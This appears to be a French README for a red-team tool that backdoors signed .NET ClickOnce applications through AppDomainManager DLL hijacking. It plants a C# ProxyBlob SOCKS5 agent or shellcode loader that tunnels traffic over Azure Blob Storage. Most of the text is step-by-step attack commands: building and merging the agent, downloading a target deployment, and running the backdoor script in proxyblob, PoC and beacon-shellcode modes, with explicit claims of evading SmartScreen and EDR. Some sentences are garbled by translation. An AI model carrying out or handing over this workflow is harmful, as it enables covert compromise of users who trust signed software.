
Armer les applications signées .NET ClickOnce pour un accès initial en détournant une DLL de dépendance via l'injection AppDomainManager et en chargeant un port C# de l'Agent ProxyBlob.

Armez des applications ClickOnce .NET signées pour un accès initial en détournant une DLL de dépendance via l'injection AppDomainManager et en chargeant un portage C# de l'agent ProxyBlob. Livré avec un portage C# de ProxyBlob — un proxy SOCKS5 qui tunnelise tout le trafic via Azure Blob Storage, se fondant dans les environnements où *.blob.core.windows.net est autorisé.
ClickOnce est la technologie de déploiement en un clic de Microsoft pour les applications .NET. Lorsqu'un utilisateur clique sur une URL .application, Windows télécharge et exécute l'application sans nécessiter de privilèges administrateur. L'attaque :
.exe.config qui indique au CLR de charger notre DLL en tant qu'AppDomainManagerL'.exe hôte reste intact et valablement signé. SmartScreen voit un binaire connu. L'EDR voit un processus de confiance charger des modules. Votre agent ne communique qu'avec Azure Blob Storage via HTTPS.
├── clickonce_backdoor.py # Main script for backdooring ProxyBlob Agent DLL to ClickOnce App
├── examples/
│ ├── ProxyBlobAgent.cs # ProxyBlob Agent ClickOnce DLL payload (AppDomainManager)
│ ├── ProxyBlobStandalone.cs # Standalone Proxyblob console agent (for testing)
│ ├── ShellcodeLoader.cs # Alternative: shellcode loader payload
│ └── MessageBoxPoC.cs # PoC: message box (validates injection works)
└── README.md
Attaquant (Linux/macOS) :
Machine de build (Windows) :
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe (détection automatique)nuget.exe à côté du script ou ajoutez-le au PATH (nécessaire uniquement pour le mode --proxyblob)Le script détecte automatiquement csc.exe et nuget.exe. Pour --proxyblob, BouncyCastle et ILMerge sont automatiquement installés via NuGet lors du premier lancement dans un répertoire packages/ à côté du script (persiste entre les exécutions).
Le code de l'agent est neutre du point de vue de l'architecture (pas de P/Invoke, pas de shellcode). Le drapeau --platform (passé à csc.exe /platform:) contrôle la façon dont le CLR le charge :
--platform | Fonctionne sur Windows x86 | Fonctionne sur Windows x64 | Quand l'utiliser |
|---|---|---|---|
x86 (par défaut) | 32 bits | 32 bits (WoW64) | L'application cible est x86 |
x64 | ✗ | 64 bits | L'application cible est x64 |
anycpu | 32 bits | 64 bits | Tests autonomes ou cible AnyCPU |
Vérifiez une application cible avec corflags.exe TargetApp.exe pour déterminer sa plateforme.
# Create storage account
az storage account create \
--name yourblobaccount \
--resource-group yourgroup \
--sku Premium_LRS \
--kind BlockBlobStorage
# Get keys
az storage account keys list --account-name yourblobaccount --output table
Ou utilisez Azurite localement :
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make
cat > config.json << 'EOF'
{
"storage_account_name": "yourblobaccount",
"storage_account_key": "YOUR_KEY_HERE"
}
EOF
./proxy -c config.json
Dans le shell du proxy :
proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

Enregistrez cette chaîne de connexion — elle va dans l'agent.
Vérifiez toujours que l'agent fonctionne indépendamment avant l'intégration ClickOnce.
Sur la machine de build Windows :
# Compile
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
examples\ProxyBlobStandalone.cs ^
/r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/r:System.Net.Http.dll /r:netstandard.dll
# ILMerge into single exe (so BouncyCastle is embedded)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
/out:Agent.exe ^
ProxyBlobStandalone.exe ^
packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/targetplatform:v4
# Run
Agent.exe <connection-string>
De retour sur le proxy :
proxyblob » list
d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080
Test :
proxychains curl http://ipconfig.io
Si cela fonctionne, passez à l'intégration ClickOnce.
Trouvez une application ClickOnce cible pendant la reconnaissance (recherchez des URLs .application). Vous aurez besoin :
Téléchargez l'intégralité du déploiement ClickOnce :
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

Le script compile automatiquement le source C#, gère les dépendances NuGet (pour --proxyblob), fusionne BouncyCastle via ILMerge dans la DLL, et patch tous les manifestes — le tout en une seule exécution :

# ProxyBlob mode — auto-compiles, auto-installs NuGet packages, auto-merges
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--output ./output
# PoC mode — quick validation that injection works
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--poc --output ./output
# Shellcode mode
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--shellcode beacon.bin --output ./output
# x64 target app
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER/ \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--platform x64 --output ./output
